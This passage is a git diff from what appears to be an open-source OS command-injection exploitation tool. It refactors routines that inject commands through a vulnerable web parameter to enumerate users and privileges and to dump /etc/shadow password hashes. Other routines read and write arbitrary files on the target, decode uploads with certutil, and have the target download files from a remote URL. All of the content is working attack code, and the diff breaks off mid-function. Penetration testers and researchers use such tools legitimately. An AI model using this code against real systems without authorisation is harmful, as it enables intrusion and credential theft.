fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Evaluate injection results. + sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -529,11 +262,25 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index c97d05ac54..1aafd5d945 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -27,187 +28,84 @@ The "file-based" technique on semiblind OS command injection. """ -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + separator +separator + " " + settings.WIN_COMMENT + cmd = checks.change_dir(dest_to_write) + cmd = cmd + separator + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + separator + " " + settings.WIN_COMMENT + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + separator + " " + settings.WIN_COMMENT + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Delete tmp file - cmd = "del " + tmp_filname + separator + " " + settings.WIN_COMMENT + cmd = checks.delete_tmp(tmp_fname) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Check if file exists - cmd = "cmd /c if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - + # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + cmd = "cmd /c " + cmd + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + settings.COMMENT + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - + cmd = checks.check_file(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" +""" +Read a file from the target host. +""" +def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if menu.options.file_write: file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True if menu.options.file_read: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index ed410bdc6c..9caa704547 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -32,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - # _ = False + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -45,25 +45,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration @@ -75,27 +57,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - shell = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) """ Retrieve system information @@ -139,20 +106,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_os and target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration @@ -164,26 +118,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) """ @@ -197,27 +137,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) """ System users enumeration @@ -225,19 +150,11 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -250,234 +167,25 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": - check_option = "--passwords" - 